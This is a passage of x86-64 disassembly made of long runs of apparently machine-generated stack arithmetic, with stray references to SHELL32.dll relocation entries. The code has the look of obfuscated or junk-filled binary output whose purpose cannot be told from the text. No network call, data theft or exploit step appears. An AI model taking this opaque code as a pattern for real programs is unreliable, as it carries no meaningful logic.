mov qword [rsp + 0x96a8], rax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
lea rax, [rsp + 0x2a64]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0x6a58]
mov rcx, qword [rsp + 0x7348]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x78b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9448]
mov rcx, qword [rsp + 0x60d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8a30]
mov qword [rcx], rax
lea rax, [rsp + 0x58e8]
mov qword [rsp + 0x96b8], rax
movzx eax, byte [rsp + 0x102]
movzx ecx, byte [0x140178f02]
sub eax, ecx
mov byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName], al
mov rax, qword [rsp + 0x86b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
sub eax, ecx
mov rcx, qword [rsp + 0x9300]
mov word [rcx], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x96c0], rax
movsx eax, byte [rsp + 0x21b]
mov rcx, qword [0x14017a088]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x271], al
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0x89f8]
mov rcx, qword [rsp + 0x5848]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7068]
mov ecx, dword [rsp + 0x2d80]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8170]
mov eax, dword [rax]
mov dword [rsp + 0x3264], eax
mov rax, qword [rsp + 0x8100]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e68]
mov qword [rsp + 0x96d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x96d0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8d28]
mov qword [rcx], rax
movsx eax, word [rsp + 0xce0]
mov rcx, qword [0x14017a420]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140178ff8], ax
mov rax, qword [rsp + 0x9648]
movzx eax, byte [rax]
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0x6268]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xef4], ax
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xffc], ax
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x10c8], ax
mov rax, qword [rsp + 0x5b00]
mov rcx, qword [rsp + 0x86d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x30f0], eax
lea rax, [rsp + 0x5e88]
mov qword [rsp + 0x96d8], rax
mov rax, qword [rsp + 0x7a58]
mov rcx, qword [rsp + 0x50c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6698], rax
mov rax, qword [rsp + 0x6f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9088]
mov dword [rcx], eax
lea rax, [rsp + 0x93]
mov qword [0x14017a9d0], rax
movzx eax, byte [rsp + 0x1a5]
mov byte [rsp + 0x283], al
movsx eax, byte [rsp + 0xf6]
movsx ecx, byte [rsp + 0x1a1]
add eax, ecx
mov rcx, qword [rsp + 0x7098]
mov byte [rcx], al
mov rax, qword [rsp + 0x63c0]
movzx eax, word [rax]
mov word [rsp + 0x10cc], ax
mov rax, qword [0x14017a660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x918]
add eax, ecx
mov rcx, qword [rsp + 0x52c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79a8]
mov rcx, qword [rsp + 0x6240]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7328], rax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x96e0], rax
mov rax, qword [rsp + 0x6640]
mov rcx, qword [rsp + 0x6820]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
lea rax, [rsp + 0x2cac]
mov qword [rsp + 0x96e8], rax
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [rsp + 0x1ec]
add eax, ecx
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x164]
movzx ecx, byte [rsp + 0xea]
add eax, ecx
mov byte [0x14017a206], al
lea rax, [rsp + 0xa64]
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x7778]
movsx eax, word [rax]
movsx ecx, word [0x14017a650]
xor eax, ecx
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
mov rax, qword [rsp + 0x7cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d30]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5b68]
mov byte [rcx], al
lea rax, [rsp + 0x2e78]
mov qword [rsp + 0x96f8], rax
mov rax, qword [rsp + 0x8ff0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9520]
mov qword [rsp + 0x9700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9700]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x7328]
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x73b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9540]
mov qword [rsp + 0x9710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x62c0], rax
movzx eax, word [0x140178fd0]
mov rcx, qword [rsp + 0x5d10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa5c], ax
lea rax, [rsp + 0xf84]
mov qword [0x14017a9d8], rax
lea rax, [rsp + 0xfec]
mov qword [rsp + 0x9718], rax
movzx eax, byte [rsp + 0x26d]
mov rcx, qword [rsp + 0x5f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22d], al
movzx eax, byte [rsp + 0x265]
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], al
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2dcc], eax
mov eax, dword [rsp + 0x2e68]
mov ecx, dword [rsp + 0x2ff8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66d8]
mov rax, qword [rax]
mov qword [rsp + 0x9720], rax
mov rax, qword [rsp + 0x6d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f10]
mov qword [rcx], rax
lea rax, [rsp + 0x20e]
mov qword [rsp + 0x9728], rax
movzx eax, byte [rsp + 0x1a6]
movzx ecx, byte [rsp + 0xaa]
add eax, ecx
mov byte [0x140178f46], al
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14d], al
mov rax, qword [0x14017a218]
movzx eax, word [rax]
mov word [rsp + 0x10d0], ax
movzx eax, word [rsp + 0xe34]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0x9618]
mov rcx, qword [rsp + 0x8390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a90], rax
mov eax, dword [rsp + 0x30f8]
mov dword [rsp + 0x3268], eax
mov eax, dword [rsp + 0x2d34]
movzx ecx, al
mov eax, dword [rsp + 0x2e20]
shl eax, cl
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c90]
mov qword [rsp + 0x9730], rax
movzx eax, word [rsp + 0x92c]
mov rcx, qword [0x14017a580]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x7288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6660]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a0b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x96c]
mov rcx, qword [rsp + 0x6d88]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc60], ax
lea rax, [0x140178f6c]
mov qword [rsp + 0x9738], rax
mov rax, qword [rsp + 0x86e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x86f8]
mov byte [rcx], al
lea rax, [rsp + 0xb50]
mov qword [rsp + 0x9740], rax
mov rax, qword [rsp + 0x6868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8028], rax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x8ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ca4], eax
mov eax, dword [rsp + 0x30a0]
mov dword [rsp + 0x326c], eax
mov rax, qword [rsp + 0x5e90]
mov rcx, qword [rsp + 0x62e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7d58], rax
mov rax, qword [rsp + 0x6cf0]
movzx eax, byte [rax]
mov byte [0x14017a263], al
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x6b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20a]
sub eax, ecx
mov byte [rsp + 0x1c2], al
movzx eax, byte [rsp + 0x12f]
movzx ecx, byte [rsp + 0x198]
and eax, ecx
mov byte [rsp + 0x1b5], al
lea rax, [rsp + 0xbf0]
mov qword [rsp + 0x9748], rax
mov rax, qword [rsp + 0x53a0]
mov ecx, dword [rsp + 0x2ffc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b14], eax
mov eax, dword [rsp + 0x2b24]
mov dword [rsp + 0x3270], eax
mov rax, qword [rsp + 0x69f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e28]
mov qword [rsp + 0x9750], rax
mov rax, qword [0x14017a980]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x97c]
add eax, ecx
mov word [0x14017a0f8], ax
movzx eax, word [rsp + 0xf0c]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfc8], ax
mov rax, qword [rsp + 0x7dc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x139]
xor eax, ecx
mov byte [rsp + 0x256], al
mov rax, qword [rsp + 0x5c58]
movzx eax, byte [rax]
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], al
mov rax, qword [rsp + 0x7e40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7f28]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x86d8]
mov eax, dword [rax]
mov dword [rsp + 0x3274], eax
mov rax, qword [rsp + 0x8140]
mov rcx, qword [rsp + 0x6d80]
mov qword [rsp + 0x9758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x90a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31a8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6690]
mov dword [rcx], eax
lea rax, [rsp + 0x6370]
mov qword [rsp + 0x9760], rax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x54f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a928]
mov word [rcx], ax
mov rax, qword [rsp + 0x67c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ea0]
mov byte [rcx], al
mov rax, qword [0x14017a9d0]
movzx eax, byte [rax]
mov byte [rsp + 0x286], al
movsx eax, word [rsp + 0x9dc]
mov rcx, qword [rsp + 0x7f60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x64f8]
mov word [rcx], ax
movsx eax, word [rsp + 0x8fc]
movsx ecx, word [rsp + 0xaec]
sub eax, ecx
mov word [rsp + 0x10a8], ax
lea rax, [rsp + 0x2e8c]
mov qword [rsp + 0x9768], rax
mov rax, qword [rsp + 0x58f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6698], rax
lea rax, [rsp + 0x75f8]
mov qword [rsp + 0x9770], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [0x14017a060]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8678]
mov dword [rcx], eax
lea rax, [rsp + 0x234]
mov qword [0x14017a9e0], rax
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0x10d8], ax
movzx eax, word [rsp + 0x914]
mov rcx, qword [0x14017a120]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7b00]
mov word [rcx], ax
movsx eax, byte [rsp + 0x22c]
movsx ecx, byte [rsp + 0x1fb]
add eax, ecx
mov rcx, qword [rsp + 0x6b88]
mov byte [rcx], al
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x9540]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x67d0], rax
lea rax, [rsp + 0x2e04]
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3220], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x73a0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1f3]
mov rcx, qword [rsp + 0x6d38]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017a057], al
lea rax, [rsp + 0x110]
mov qword [rsp + 0x9788], rax
movsx eax, byte [rsp + 0x176]
movsx ecx, byte [rsp + 0x208]
xor eax, ecx
mov rcx, qword [rsp + 0x9030]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov word [rsp + 0x10dc], ax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79e8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x8200]
mov rcx, qword [rsp + 0x95c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3270], eax
mov eax, dword [rsp + 0x2ba4]
mov dword [rsp + 0x3278], eax
mov rax, qword [rsp + 0x5a28]
mov rcx, qword [rsp + 0x94f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d08]
mov rax, qword [rax]
mov qword [rsp + 0x9790], rax
movzx eax, word [rsp + 0xdcc]
movzx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [0x140179048], ax
mov rax, qword [rsp + 0x6a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x64d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x9f]
add eax, ecx
mov byte [rsp + 0x21d], al
movzx eax, byte [rsp + 0x15f]
mov byte [rsp + 0x287], al
mov rax, qword [rsp + 0x7bb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd08]
sub eax, ecx
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0x7ba8]
mov qword [rsp + 0x9798], rax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ac8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x31c4], eax
mov rax, qword [rsp + 0x95c0]
mov eax, dword [rax]
mov dword [rsp + 0x327c], eax
mov rax, qword [rsp + 0x5588]
mov rcx, qword [rsp + 0x7c38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8430]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9738]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017904c], ax
mov rax, qword [rsp + 0x7140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x94f8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x68], al
lea rax, [rsp + 0xd60]
mov qword [rsp + 0x97a0], rax
movzx eax, byte [rsp + 0x25a]
movzx ecx, byte [rsp + 0x1b7]
sar eax, cl
mov byte [rsp + 0xd4], al
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x97a8], rax
mov rax, qword [rsp + 0x53b0]
mov rcx, qword [str.kD3]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x58b0], rax
mov rax, qword [rsp + 0x5b00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b04]
shl eax, cl
mov rcx, qword [rsp + 0x54d8]
mov dword [rcx], eax
lea rax, [rsp + 0x7808]
mov qword [rsp + 0x97b0], rax
mov rax, qword [rsp + 0x4f08]
mov rcx, qword [rsp + 0x6198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov dword [rcx], eax
lea rax, [rsp + 0x184]
mov qword [rsp + 0x97b8], rax
movzx eax, word [rsp + 0xd54]
movzx ecx, word [str.9_a8]
and eax, ecx
mov rcx, qword [0x14017a248]
mov word [rcx], ax
mov rax, qword [rsp + 0x89d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc38]
add eax, ecx
mov word [rsp + 0xc40], ax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x6668]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6aa8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x288], al
mov rax, qword [rsp + 0x9360]
mov ecx, dword [rsp + 0x31e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x50d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x83c8]
mov eax, dword [rax]
mov dword [rsp + 0x3280], eax
mov rax, qword [rsp + 0x6980]
mov rcx, qword [rsp + 0x6948]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7020], rax
mov rax, qword [rsp + 0x77e8]
mov rcx, qword [rsp + 0x8548]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6928], rax
mov rax, qword [rsp + 0x5248]
movzx eax, byte [rax]
mov byte [rsp + 0x289], al
lea rax, [rsp + 0xc40]
mov qword [0x14017a9e8], rax
movzx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0x7168]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x81e8]
mov byte [rcx], al
lea rax, [rsp + 0xa54]
mov qword [rsp + 0x97c0], rax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x277]
sub eax, ecx
mov byte [rsp + 0x211], al
mov eax, dword [rsp + 0x305c]
mov dword [rsp + 0x3284], eax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6168]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77c0]
mov qword [rcx], rax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2dec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e3c], eax
lea rax, [rsp + 0x7480]
mov qword [rsp + 0x97c8], rax
mov rax, qword [rsp + 0x8890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x89f0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x85a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a6e8]
mov byte [rcx], al
lea rax, [rsp + 0x282]
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa48]
or eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov word [rcx], ax
movzx eax, word [0x140178f64]
mov rcx, qword [rsp + 0x71f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b50]
mov word [rcx], ax
lea rax, [rsp + 0x30a0]
mov qword [rsp + 0x97d8], rax
mov rax, qword [rsp + 0x7ca8]
mov rcx, qword [rsp + 0x73a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov qword [rsp + 0x97e0], rax
mov rax, qword [rsp + 0x5c18]
mov rcx, qword [rsp + 0x82e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b38], rax
mov rax, qword [rsp + 0x6578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6420]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6720]
mov word [rcx], ax
mov rax, qword [0x14017a320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x164]
add eax, ecx
mov byte [0x140178e93], al
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x28a], al
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9ac], ax
movzx eax, word [rsp + 0xb18]
mov word [rsp + 0x10e0], ax
movsx eax, word [rsp + 0xa10]
movsx ecx, word [rsp + 0x9e0]
sub eax, ecx
mov rcx, qword [rsp + 0x6700]
mov word [rcx], ax
lea rax, [rsp + 0x8920]
mov qword [rsp + 0x97e8], rax
mov eax, dword [rsp + 0x3230]
mov ecx, dword [0x14017a064]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9308]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a6c], eax
lea rax, [rsp + 0x74b8]
mov qword [rsp + 0x97f0], rax
mov rax, qword [rsp + 0x9620]
movzx eax, word [rax]
mov word [0x14017a9f0], ax
mov rax, qword [rsp + 0x9530]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0xde], al
lea rax, [rsp + 0xfc]
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0x8370]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e]
sub eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x9580]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x287]
xor eax, ecx
mov byte [rsp + 0x125], al
lea rax, [rsp + 0x9798]
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0x5b50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7c20]
shl rax, cl
mov qword [rsp + 0x5ea8], rax
mov eax, dword [rsp + 0x3074]
mov dword [rsp + 0x3288], eax
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3180]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6040]
mov dword [rcx], eax
lea rax, [0x14017a418]
mov qword [0x14017a9f8], rax
movzx eax, byte [rsp + 0x261]
movzx ecx, byte [rsp + 0x132]
sar eax, cl
mov rcx, qword [rsp + 0x5a18]
mov byte [rcx], al
lea rax, [rsp + 0x254]
mov qword [rsp + 0x9808], rax
mov rax, qword [rsp + 0x56d8]
movsx eax, word [rax]
movsx ecx, word [0x14017a680]
and eax, ecx
mov word [rsp + 0x924], ax
movzx eax, word [rsp + 0x884]
mov word [rsp + 0x10e4], ax
mov rax, qword [rsp + 0x90a8]
mov ecx, dword [rsp + 0x2ee0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x94b8]
mov dword [rcx], eax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2d48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x71a8]
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x7958]
mov rcx, qword [rsp + 0x8488]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [0x140178f3e]
sub eax, ecx
mov rcx, qword [0x14017a0f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xcf0]
mov word [rsp + 0x10e8], ax
movsx eax, word [rsp + 0x980]
movsx ecx, word [rsp + 0x94c]
add eax, ecx
mov word [rsp + 0xe54], ax
lea rax, [rsp + 0x149]
mov qword [rsp + 0x9818], rax
mov rax, qword [0x14017a498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8c08]
mov ecx, dword [rsp + 0x2ec4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x30a8], eax
lea rax, str.kD3
mov qword [rsp + 0x9820], rax
mov rax, qword [rsp + 0x6638]
mov rcx, qword [rsp + 0x5a38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6df8], rax
mov rax, qword [rsp + 0x9020]
mov eax, dword [rax]
mov dword [rsp + 0x328c], eax
mov rax, qword [rsp + 0x6398]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x104]
sar eax, cl
mov byte [0x140178f47], al
movzx eax, byte [rsp + 0x1e6]
movzx ecx, byte [rsp + 0x195]
shl eax, cl
mov rcx, qword [rsp + 0x86d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xacc]
mov rcx, qword [rsp + 0x76f8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7530]
mov word [rcx], ax
lea rax, [0x140179044]
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0x6600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x57b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6960]
mov eax, dword [rax]
mov dword [rsp + 0x3290], eax
mov rax, qword [rsp + 0x82d8]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3188], eax
mov rax, qword [rsp + 0x77c0]
mov rcx, qword [rsp + 0x92b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6f00], rax
mov rax, qword [rsp + 0x6868]
mov rax, qword [rax]
mov qword [rsp + 0x9830], rax
movzx eax, word [0x140178f98]
movzx ecx, word [rsp + 0xb10]
add eax, ecx
mov rcx, qword [0x14017a0d0]
mov word [rcx], ax
movsx eax, word [rsp + 0x980]
mov rcx, qword [rsp + 0x6320]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa38], ax
lea rax, [rsp + 0x26d]
mov qword [rsp + 0x9838], rax
mov rax, qword [rsp + 0x7448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13c]
sub eax, ecx
mov byte [rsp + 0x263], al
lea rax, [rsp + 0xa7c]
mov qword [rsp + 0x9840], rax
mov eax, dword [rsp + 0x2e4c]
mov ecx, dword [rsp + 0x2f7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fa4], eax
mov rax, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x6930]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7d08], rax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x9848], rax
mov rax, qword [rsp + 0x6260]
mov ecx, dword [rsp + 0x31a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7390]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc04]
movsx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [0x140178f60], ax
lea rax, [rsp + 0x26a]
mov qword [rsp + 0x9850], rax
movzx eax, word [rsp + 0xb94]
movzx ecx, word [rsp + 0x97c]
add eax, ecx
mov rcx, qword [rsp + 0x77d8]
